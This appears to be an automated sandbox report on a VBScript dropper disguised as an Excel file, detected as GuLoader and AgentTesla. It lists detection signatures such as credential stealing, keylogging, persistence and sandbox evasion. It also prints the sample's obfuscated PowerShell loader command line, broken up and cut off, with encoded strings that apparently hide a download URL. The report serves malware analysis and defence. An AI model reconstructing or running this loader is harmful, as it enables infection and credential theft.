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Windows
Analysis Report
Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs
Overview
General Information
Detection
AgentTesla, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Creates multiple autostart registry keys
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Installs a global keyboard hook
Potential malicious VBS script found (suspicious strings)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Cscript/Wscript Uncommon Script Extension Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Uses an obfuscated file name to hide its real file extension (double extension)
Very long command line found
Writes or reads registry keys via WMI
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7264 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Copy of Poseido n Marine 4 th monthly Stores Ap r 2024 R3 .xls.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - WmiPrvSE.exe (PID: 7388 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - powershell.exe (PID: 7484 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Overburd eningly = 1;$Haarrdd ernes='Sub strin';$Ha arrddernes +='g';Func tion Blomr aadne($Sug gestionen) {$Kulsyre= $Suggestio nen.Length -$Overburd eningly;Fo r($Esrogs= 5; $Esrogs -lt $Kuls yre; $Esro gs+=(6)){$ Bilendes+= $Suggestio nen.$Haarr ddernes.In voke($Esro gs, $Overb urdeningly );}$Bilend es;}functi on Uudvikl et($Sammen stuvninger ne){. ($S ubpellucid ity) ($Sam menstuvnin gerne);}$D ulmes=Blom raadne 'Ch a,tMRancho BlomszCent eizonkmlUf ejll halaa ,ump/ epo s5.udek.du ske0Delet Nonad(Kvin dW .elgiPr ecinTrossd .kkupoUdv. kwSammesva lgb MeroNF ili,TTo.ea R gar1Mid ta0Sildd.I ngra0d.ast ;Udann .or dbW Pakki Twenn .ewy 6Aands4 Fl or;F tal O ri,ax Syst 6A.ted4In us;Moloi H enler Ragi v Tupp:Trs pr1Corne2, ehir1Pyrox .Fr sk0Mis oc)Torke E kko.G Know eAfgifcHil lekHydrooS .eln/Tabul 2Optje0Syl te1 er t0 klyn0Endit 1Warm,0com mi1Glott S ubinFHaard iMicror li poeSpi nfD oledoVeget xphyti/Bje rg1.ntif2C hilt1Supre .Medbo0Uar b, ';$subd ichotomies =Blomraadn e 'Fraa.U AnfrsDr,me esoegmrLok al-AlgebAT id bgomd s ePr ctn Un matKalpa ' ;$Rugemask ine=Blomra adne 'Bril lh A lht . rogtOrchep NeedlsMedi k:strib/Pa rel/ F icd omstbrOpil iiConcevAu riceSteps. ,mertgSkyd eoTyskeoDe r,ig,aterl Massee Man i.Imparc S ibio E.evm .rogr/Latt euGermacAt mos?Gera,e RektxCnem ipSommeoFu ldvrCentrt Oplad=Lepa dd KoldoS delwStipln ArchblFras soantipaCa thodunder& Ph soiUnbo d P.rt= k al1depolo Mys.aDDyre f4RevistAg ricvPrissD Gua adAdip oyRever2Pl ump-Maskir ,ddanKHart vBAtticIUo plarSpiroZ Stri.pPlac kCId tsyre c p_UnbroN S.endR Sm. aSKar oRAs sis7 ThyrV erdiMVrim ltAndenGSj leh_Gl.bul Foretyrehe e ';$katte lemmes=Blo mraadne 'T rf,e>Unr,c ';$Subpel lucidity=B lomraadne ' DispiEmb ele Mergx enne ';$Al uminate = Blomraadne ' atrieCa tarc,laedh Ind.boSiph , Rustn%t. ndra.espep ,alaapFals ,dAnimaaan istD.lira Hygie%Br.n e\Misg STa f,faNoni.l R.nsktRner es Blanp H iemoTotalo UddatnAtt, sfEkspouVe .erl .oth. UnderD tol daPanteg,n dos nejp& Mand&Amazi shareeA.d elcLegalh BagloMurha For.$Park e ';Uudvik let (Blomr aadne 'Syg e.$ HavegH aandlGe.pe o PaabbKde dea nshelF orka:Brnds T,orgei ab sulDeltrhA inauAp de gBodywgSle the NrklnP rikkd Op.s eMegal=Dre ad(V,melcC rescmDurwa ddiffu Sic kl/,rgancL rdo Kant. $KorreARin gdlStnd u W,gomNon e i.redinlun .eaUnwort Brn.e baga )Brynj '); Uudviklet (Blomraadn e 'O.ert$B rudegBedra lNig,roNon prbbiosyaA tomil Mail :BattlLMi. iseVictua kisknA.tio eRen.rr Ad ve=Li sf$e mnetRpasto uOmf,vgHyp ere Jo.om nnuea Embe s TalmkRes miiLing.n UvureAfled .MystisTre vlpfightlK lokkiTheom tBom,e(Bow po$Exp.lk ladfaEmana tph not P toeSvngnl, araneHacke mGibbim,an